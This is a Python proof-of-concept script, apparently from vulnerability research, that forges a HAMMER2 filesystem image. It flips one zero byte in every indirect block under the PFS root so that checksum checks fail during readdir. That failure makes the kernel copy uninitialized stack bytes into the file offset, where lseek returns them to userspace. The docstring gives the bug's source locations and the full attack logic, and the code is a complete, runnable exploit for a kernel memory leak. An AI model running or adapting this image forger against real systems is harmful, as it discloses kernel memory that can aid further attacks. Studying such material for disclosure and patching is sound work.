#!/usr/bin/env python3
"""
DF-2627 PoC image forger.

Base image (guest mkbase2627.sh): newfs_hammer2 -L testvol, 12 sacrificial
files created first (fill the PFS root inode's 4 direct blockref slots),
then 40 payload files (spill into INDIRECT blocks), sync, sacrificial files
removed, sync, umount.  Result: the PFS root blockset's direct slots are
EMPTY and every live dirent lives under INDIRECT blocks.

The bug (hammer2_vnops.c:601,688-692,750,758): hammer2_blockref_t bref is
stack-uninitialized; if the FIRST hammer2_xop_collect() in the readdir loop
returns an error, line 750 reads bref.key (uninitialized stack) into
saveoff and line 758 stores it into uio->uio_offset, which
kern_getdirentries (sys/kern/vfs_syscalls.c:4645-4646) copies into
fp->f_offset EVEN ON ERROR RETURN -> lseek(fd, 0, SEEK_CUR) hands the
stale kernel-stack bytes to userspace (63 bits; bit 63 is masked off).

Forge: XOR 0xA5 into ONE byte of every INDIRECT block's DATA under the PFS
root blockset (recursively), choosing a byte that is 0x00 on disk so no
bref inside the block is disturbed.  The indirect blockrefs' check method
stays XXHASH64 (newfs default), so chain resolution fails the CRC
(hammer2_chain.c:1070-1072 -> chain->error = HAMMER2_ERROR_CHECK) and
hammer2_chain_lookup's parent->error check (chain.c:2473-2476) fails the
scan with an error on the very first lookup -> the first collect returns
an error -> uninitialized bref path taken.

No ancestor block (volhdr, sroot inode, PFS inode) is modified, so no CRC
recomputation is needed anywhere: mount() succeeds normally.
"""
import struct, sys

RADIX_MASK = 0x3F
BREF = 128
INODE_DATA_BLOCKSET = 0x200
SET_COUNT = 4                      # HAMMER2_SET_RADIX == 2
VOLHDR_STRIDE = 0x40000
MAGIC = 0x48414D3205172011
T_EMPTY, T_INODE, T_INDIRECT, T_DATA, T_DIRENT = 0, 1, 2, 3, 4
FLIP_OFF = 0x678                   # byte offset inside the indirect data block
FLIP_XOR = 0xA5

def bref_parse(buf, off):
    t, methods = struct.unpack_from('<2B', buf, off)
    key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8)
    return dict(type=t, methods=methods, key=key, data_off=doff, off=off)

def find_volhdrs(img):
    offs = [off for off in range(0, 4 * VOLHDR_STRIDE, VOLHDR_STRIDE)
            if struct.unpack_from('<Q', img, off)[0] == MAGIC]
    assert offs, "no volume header found"
    return offs

def inode_name(img, iblk):
    nlen = struct.unpack_from('<H', img, iblk + 0x80)[0]
    nlen = min(max(nlen, 0), 0xFF)
    return bytes(img[iblk + 0x100:iblk + 0x100 + max(nlen, 1)]).split(b'\0')[0]

def collect_indirects(img, iblk, seen, depth=0):
    """All INDIRECT brefs reachable from the blockset of inode block iblk.

    The inode's blockset lives at INODE_DATA_BLOCKSET; indirect blocks hold
    their bref arrays at offset 0.
    """
    out = []
    if depth > 4:
        return out
    for i in range(SET_COUNT):
        br = bref_parse(img, iblk + INODE_DATA_BLOCKSET + i * BREF)
        if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            out.extend(scan_indirect(
                img, br['data_off'] & ~RADIX_MASK,
                br['data_off'] & RADIX_MASK, seen, depth))
    return out

def scan_indirect(img, blk, radix, seen, depth):
    """Collect the indirect bref for blk plus everything nested below it."""
    out = []
    if blk in seen or depth > 4:
        return out
    seen.add(blk)
    nslots = min((1 << radix) // BREF, 512)
    # the bref describing this block is in the parent; record blk itself
    out.append(dict(type=T_INDIRECT, methods=0, key=0,
                    data_off=blk | radix, off=-1, blk=blk))
    for j in range(nslots):
        b2 = bref_parse(img, blk + j * BREF)
        if b2['type'] == T_INDIRECT and (b2['data_off'] & RADIX_MASK):
            out.extend(scan_indirect(img, b2['data_off'] & ~RADIX_MASK,
                                     b2['data_off'] & RADIX_MASK,
                                     seen, depth + 1))
    return out

def main():
    if len(sys.argv) != 3:
        print("usage: forge_df2627.py <base.img> <out.img>")
        sys.exit(2)
    base, out = sys.argv[1:3]
    img = bytearray(open(base, 'rb').read())
    vols = find_volhdrs(img)
    print("[forge] volhdr copies at: %s" % ", ".join(hex(o) for o in vols))

    # --- sroot inode block -------------------------------------------------
    sbr = bref_parse(img, vols[0] + 0x200)
    assert sbr['type'] == T_INODE and (sbr['data_off'] & RADIX_MASK)
    sblk = sbr['data_off'] & ~RADIX_MASK
    for vo in vols[1:]:
        b = bref_parse(img, vo + 0x200)
        assert (b['data_off'] & ~RADIX_MASK) == sblk
    print("[forge] sroot inode block @ %#x" % sblk)

    # --- locate PFS "testvol" inode bref under sroot -----------------------
    pfs_bref = None

    def try_child(br):
        nonlocal pfs_bref
        if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK):
            return False
        if inode_name(img, br['data_off'] & ~RADIX_MASK) == b'testvol':
            pfs_bref = br
            return True
        return False

    def walk_indirect(blk, radix, depth):
        nslots = min((1 << radix) // BREF, 512)
        for i in range(nslots):
            br = bref_parse(img, blk + i * BREF)
            if br['type'] == T_EMPTY:
                continue
            if try_child(br):
                return True
            if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK) and depth < 4:
                if walk_indirect(br['data_off'] & ~RADIX_MASK,
                                 br['data_off'] & RADIX_MASK, depth + 1):
                    return True
        return False

    for i in range(SET_COUNT):
        br = bref_parse(img, sblk + INODE_DATA_BLOCKSET + i * BREF)
        if try_child(br):
            break
        if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            if walk_indirect(br['data_off'] & ~RADIX_MASK,
                             br['data_off'] & RADIX_MASK, 1):
                break
    assert pfs_bref, "testvol PFS inode not found"
    iblk2 = pfs_bref['data_off'] & ~RADIX_MASK
    print("[forge] PFS inode block @ %#x (bref methods %#x)"
          % (iblk2, pfs_bref['methods']))

    # --- inspect the PFS root blockset: direct slots must be EMPTY ----------
    direct_live = []
    indirects = collect_indirects(img, iblk2, set())
    for i in range(SET_COUNT):
        br = bref_parse(img, iblk2 + INODE_DATA_BLOCKSET + i * BREF)
        print("[forge]   slot%d: type=%d key=%#018x data_off=%#x"
              % (i, br['type'], br['key'], br['data_off']))
        if br['type'] in (T_INODE, T_DIRENT, T_DATA):
            direct_live.append(br)
    assert not direct_live, \
        "direct slots still hold live entries: %s" % direct_live
    assert indirects, "no INDIRECT blocks under PFS root"
    print("[forge] %d direct live entries (want 0), %d indirect block(s)"
          % (len(direct_live), len(indirects)))

    # --- flip one 0x00 byte inside every indirect data block ----------------
    for br in indirects:
        blk = br['blk']
        radix = br['data_off'] & RADIX_MASK
        bsize = 1 << radix
        assert FLIP_OFF < bsize, "flip offset outside block"
        orig = img[blk + FLIP_OFF]
        assert orig == 0, \
            "byte at %#x inside block %#x is %#x (want 0x00)" % (FLIP_OFF, blk, orig)
        img[blk + FLIP_OFF] = orig ^ FLIP_XOR
        print("[forge] CRC-broken indirect block %#x (radix %d, %d B): "
              "byte %#x %#x^%#x -> %#x"
              % (blk, radix, bsize, FLIP_OFF, orig, FLIP_XOR, img[blk + FLIP_OFF]))

    open(out, 'wb').write(img)
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()